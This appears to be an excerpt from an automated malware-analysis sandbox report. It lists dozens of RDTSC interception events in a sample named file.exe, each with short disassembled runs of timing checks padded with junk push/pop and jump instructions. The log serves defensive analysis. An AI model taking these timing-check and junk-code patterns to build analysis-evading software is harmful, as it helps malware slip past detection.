Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D20852 second address: D20860 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D20D98 second address: D20DA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBC154CB16Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D27FEC second address: D27FF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D27FF2 second address: D27FF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D27FF7 second address: D2800E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC14D8F5BBh 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007FBC14D8F5B6h 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2785F second address: D2786F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jbe 00007FBC154CB168h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D27CC7 second address: D27CF6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC14D8F5C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FBC14D8F5C1h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2A036 second address: D2A03B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2E778 second address: D2E799 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007FBC14D8F5C9h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2E799 second address: D2E7A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2EA6B second address: D2EA88 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC14D8F5C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2EA88 second address: D2EA8F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2EBDB second address: D2EBFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jl 00007FBC14D8F5B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jg 00007FBC14D8F5BEh 0x00000012 push eax 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2EED8 second address: D2EEF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FBC154CB166h 0x0000000a js 00007FBC154CB16Eh 0x00000010 pushad 0x00000011 popad 0x00000012 jng 00007FBC154CB166h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2EEF0 second address: D2EEF5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3DC4 second address: CA3DC9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3DC9 second address: CA3DCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3DCF second address: CA3DE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 ja 00007FBC154CB16Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3DE4 second address: CA3DFB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FBC14D8F5B6h 0x00000009 jmp 00007FBC14D8F5BCh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D32A34 second address: D32A38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D32BC3 second address: D32BD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBC14D8F5C0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A551 second address: D3A555 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A555 second address: D3A56A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBC14D8F5BCh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A56A second address: D3A570 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A570 second address: D3A575 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A575 second address: D3A58F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC154CB172h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A58F second address: D3A593 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D38D78 second address: D38D7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D38FFA second address: D39004 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FBC14D8F5B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D39004 second address: D39013 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FBC154CB166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D39616 second address: D3963C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBC14D8F5C1h 0x00000009 jmp 00007FBC14D8F5BFh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D39807 second address: D3980D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A218 second address: D3A21E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A21E second address: D3A233 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FBC154CB16Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A233 second address: D3A237 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A237 second address: D3A23D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A23D second address: D3A243 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A243 second address: D3A247 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3C88A second address: D3C895 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007FBC14D8F5B6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3C895 second address: D3C89B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D440E3 second address: D440E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D42294 second address: D4229A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4229A second address: D4229E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4229E second address: D422A4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D42426 second address: D42430 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FBC14D8F5D2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D42430 second address: D4244E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBC154CB176h 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4244E second address: D42454 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D42709 second address: D42713 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D42713 second address: D42719 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D42719 second address: D42723 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FBC154CB166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D42723 second address: D42739 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007FBC14D8F5BFh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D42739 second address: D4273F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D42CCC second address: D42CEC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC14D8F5C0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jp 00007FBC14D8F5BCh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D43270 second address: D4328F instructions: 0x00000000 rdtsc 0x00000002 jl 00007FBC154CB166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FBC154CB171h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4328F second address: D43293 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D43293 second address: D4329D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4329D second address: D432A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D43A8B second address: D43AA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBC154CB16Bh 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D43AA2 second address: D43AA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D43AA8 second address: D43AB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D43AB3 second address: D43AC8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FBC14D8F5BBh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D43AC8 second address: D43ACC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D43ACC second address: D43AD7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47F91 second address: D47F96 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D471EE second address: D471F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47B02 second address: D47B18 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FBC154CB16Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47B18 second address: D47B1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47B1C second address: D47B26 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FBC154CB166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47B26 second address: D47B2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47B2B second address: D47B4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBC154CB177h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007FBC154CB166h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47CB0 second address: D47CB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D55FD1 second address: D55FFA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC154CB172h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FBC154CB173h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54350 second address: D54359 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push esi 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D545C4 second address: D545D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBC154CB16Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D545D7 second address: D54618 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jnl 00007FBC14D8F5B6h 0x00000011 jmp 00007FBC14D8F5C3h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a jne 00007FBC14D8F5B6h 0x00000020 pushad 0x00000021 popad 0x00000022 js 00007FBC14D8F5B6h 0x00000028 popad 0x00000029 push eax 0x0000002a push edx 0x0000002b jl 00007FBC14D8F5B6h 0x00000031 push ebx 0x00000032 pop ebx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54618 second address: D5461E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5478A second address: D547AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jmp 00007FBC14D8F5C5h 0x0000000b push edi 0x0000000c pop edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54D44 second address: D54D48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54D48 second address: D54D57 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FBC14D8F5B6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54D57 second address: D54D67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push esi 0x00000007 pushad 0x00000008 jo 00007FBC154CB166h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D55DEE second address: D55E29 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FBC14D8F5BFh 0x00000008 jmp 00007FBC14D8F5C9h 0x0000000d pop ebx 0x0000000e pushad 0x0000000f push eax 0x00000010 pop eax 0x00000011 push esi 0x00000012 pop esi 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D55E29 second address: D55E30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D55E30 second address: D55E4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBC14D8F5C1h 0x00000009 jno 00007FBC14D8F5B6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D68B20 second address: D68B2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D68B2C second address: D68B3A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC14D8F5BAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9D32C second address: C9D330 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6B1DC second address: D6B1FE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FBC14D8F5C3h 0x0000000b pushad 0x0000000c jns 00007FBC14D8F5B6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6B364 second address: D6B381 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC154CB177h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7A6BA second address: D7A6C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7A6C1 second address: D7A6CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FBC154CB166h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7A6CB second address: D7A6E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC14D8F5BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push esi 0x0000000b pop esi 0x0000000c pop esi 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ebx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7A57E second address: D7A588 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FBC154CB166h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7A588 second address: D7A58C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7A58C second address: D7A599 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7BD98 second address: D7BDAC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC14D8F5C0h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D83674 second address: D8368D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FBC154CB171h 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8384A second address: D8384E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D83AC4 second address: D83ACA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D83ACA second address: D83ACE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D83C2F second address: D83C48 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FBC154CB16Ah 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jnp 00007FBC154CB16Eh 0x00000011 push eax 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D83C48 second address: D83C6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007FBC14D8F5C7h 0x0000000a jnc 00007FBC14D8F5B6h 0x00000010 popad 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8405D second address: D8406E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC154CB16Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8406E second address: D84074 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
